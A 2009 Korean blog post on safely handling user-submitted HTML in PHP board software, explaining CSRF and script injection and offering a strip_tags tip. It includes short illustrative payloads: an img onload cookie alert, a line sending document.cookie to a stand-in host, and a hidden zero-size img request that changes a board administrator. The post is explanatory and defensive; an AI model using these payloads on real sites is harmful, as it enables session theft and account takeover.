PHP 에서 HTML형태의 게시물 다루는 색다른 방법 - 1부 그놈의 보안

커뮤니티 사이트를 작업하다 보면 유저에게 자바스크립트 에디터를 사용한다던지 기타 이유로
html 소스 자체를 얻어서 DB에 저장하는 일을 피할수 없는 경우가 많다.
요즘 CSRF 라고 좀 요주의 하는 크랙킹(? 이라고 하긴 좀 뭐하지만)스타일이 있어서 html소스를 일반 유저가 작성하게 하는 것은
좀 위험하다는 생각이 든다.

CSRF 에 대해서 짧은 지식으로 간단히 정리 해 보면,
Cross Site Request Forgery 의 약자이며
보통 유저가 특정 웹페이지를 보면서 자기도 모르는 사이에 자기 세션을 가지고 다른 페이지에 쿼리를 날리게 되는 것을 말한다.
이게 요즘 계속 얘기가 나오긴 하지만 오래된 고질병이라고 생각하면 된다.
가장 간단한 예로,


[여기]를 눌러보자.


여러분 각자의 쿠키 정보가 나왔을 것이다. 뭐 봐도 뭔말인지 모르는 사람도 있겠지만. 대충 이글루스 자동 로그인을 쓰는 사람은
autologin=1 정도는 보이겠지

이것은 뭐 클릭해야 발생하는 이벤트이기에 문제가 없지만 <img onload ="alert(document.cookie)"> 라고 하면 이미지가 로드됨과 동시에 쿠키가 경고창에 뜰 것이다.

경고창에 뜨는것이 뭐 대수야?
경고창에 띄울 정도의 스크립트가 가능하다는 것은 이를 다른 외부로 보내는 방법 또한 무궁무진 하다는 얘기가 된다.
간단하게 httpRequest 를 쓴다던지 그냥 this.src='http://test.net/test.php?cookie='+document.cookie 라고 해버리면 뭐

여튼 이런 방법 외에 그냥 img 태그도 스크립트를 로드 할 수 있다.
예를 들어서 모 게시판 관리자를 바꾸는 쿼리가 test.php?mode=adminchange&id=admin
대충 이러면 되고 관리자ID의 세션을 가져야 한다고 치자.

그럼 게시판에 <img src="test.php?mode=adminchange&id=admin" width='0' height='0'> 이런식으로 삽입해놓고 관리자가 보기만을 기다리면 된다. (보통 이미지 태그를 막을수가 없기에)

뭐 CSRF에 대해서는 이쯤하고.
그래서 유저의 HTML을 다룰때는 프로그래머가 상당히 여러가지를 고심해야 한다.
script 라는 모든 문자를 script-X 라고 바꾸는 게시판이 있는가 하면
흔한 방법으로 정규식을 통한 embed|script|iframe 등만 거르는 방법이 있다 (예:이글루스)
근데 프로그래머들이 남들이 많이 쓰는 방법이 검증된 방법이라고 착각해서 
10년가까이 된 구식 방법을 계속 답습하는 경향이 있다. 안뚫린다고 안전하다고 할 수 있을까.
게다가 위에서 말했듯 img 태그도 안전하지 않다. 근데 img 태그를 막고 에디터 스타일의 게시판을 운영할 수 있는가?
플래시도 불안하다. 플래시의 액션스크립트로 할 수 있는 일은 무궁무진하다.

이런저런거 따지면 구스타일로 그냥 콘텐츠 제공자만 html 문서를 만들어서 업로드하고 유저는 그냥 일방적으로 보기만 하는
시대로 돌아가야 할지도 모르겠다. 실제로 그런방식은 엄청 안전하다고 볼 수 있다.

지금 내가 작성하고 있는 이글루스 웹 에디터도 헛점 투성이이다. 하나하나 짚어서 어디가 구멍이다 라고 포스팅하는건
그닥 좋은일도 아니고 내가 소심해서 안하겠다. (또 모른다 언제 심심하면 할지도)

그럼 어떻게 하는 것이 좋을까 생각해보면,
일단 귀찮더라도 완성본 웹페이지는 서버측 스크립트로 작성되어야 한다.
에디터에서는 실제 레이아웃 규칙과 미리보기를 동시에 구현하고 있어야 한다.
레이아웃 규칙을 넘겨받으면 서버측 스크립트가 에디터의 스크립트와 동일하게 재현해서 HTML파일을 재생성해야 한다.
즉 현재는 유저가 이미지를 삽입하면 , 그것을 자바스크립트 에디터가 img 태그로 만들어서 계속 가지고 있다가 서버측 스크립트로 POST방식으로 전송, 서버측 스크립트는 최소한의 필터링 후에 그 HTML을 사실상 그대로 디비에 저장후 보여줄때도 최소한의 필터링을 거쳐서 뿌려준다.
이렇게 하지 말고 유저가 이미지를 삽입하면 에디터가 태그로 구현해서 유저에게 보여줌과 동시에 이미지 경로와 위치를 가지고 있는다. 그리고 유저가 내용을 POST하면 이 경로와 위치를 담은 내용들을 encrypt 해서 같이 넘기는 것이다. 이후 에디터와 같은 방식으로 서버측 스크립트가 HTML소스를 재생성 한다. 그리고 이 외에 유저가 임의로 입력한 태그는 다 걸러버린다.
내가 생각한 대안이지만 엄청 귀찮다. 보통 귀찮은 일이 아니다. 나보고 저렇게 하라고 하면 끔찍할 것도 같다.
걍 살아도 별로 문제도 안생기는데 언젠가 생길 문제를 위해서 저렇게 하라고 하면 아마 안할 사람이 더 많겠다.


뭐 복잡한 얘기는 그만하고, 결국 유저에게 받은 HTML소스(혹은 소켓으로 다른 웹페이지를 긁어온다던가 하는 방식으로 얻은소스)를 가공하는데 현재 독보적인 위치를 차지하고 있는 정규식 일변도에 다른 방식도 있다는 것을 좀 쓰고 싶었다.

그 다른 방식은 다음에 포스팅 하겠다.
라고 하면 제목과 다르니 간단한 팁

$content = strip_tags($content);

이러면 태그를 다 없애준다는 것은 다 알것이다.
$content = strip_tags($content,"<p><br><img><div><span>");
이러면 적힌 태그만 모두 살리고 나머지는 날려버린다.
정규식으로 특정 태그만 살리고 나머지 다 벗겨버렸던 분들은 위 소스를 활용해 보시면 좋을 듯 하다.
단지 이 방법은 적힌 태그의 attribute 부분도 그냥 건들지 않기 때문에  attribute 를 날려야 하면 사용하기 곤란한 단점이 있다.
(예: img 태그는 남기되 onclick onlad onmouseover 등을 없앤다던지 width 와 height를 치환한다던지)

다른 추가적인 방법은 다음에 포스팅...



by 메가쵸코 | 2009/08/01 04:57 | 프로그래밍 | 트랙백 | 덧글(0)


◀ 이전 페이지          다음 페이지 ▶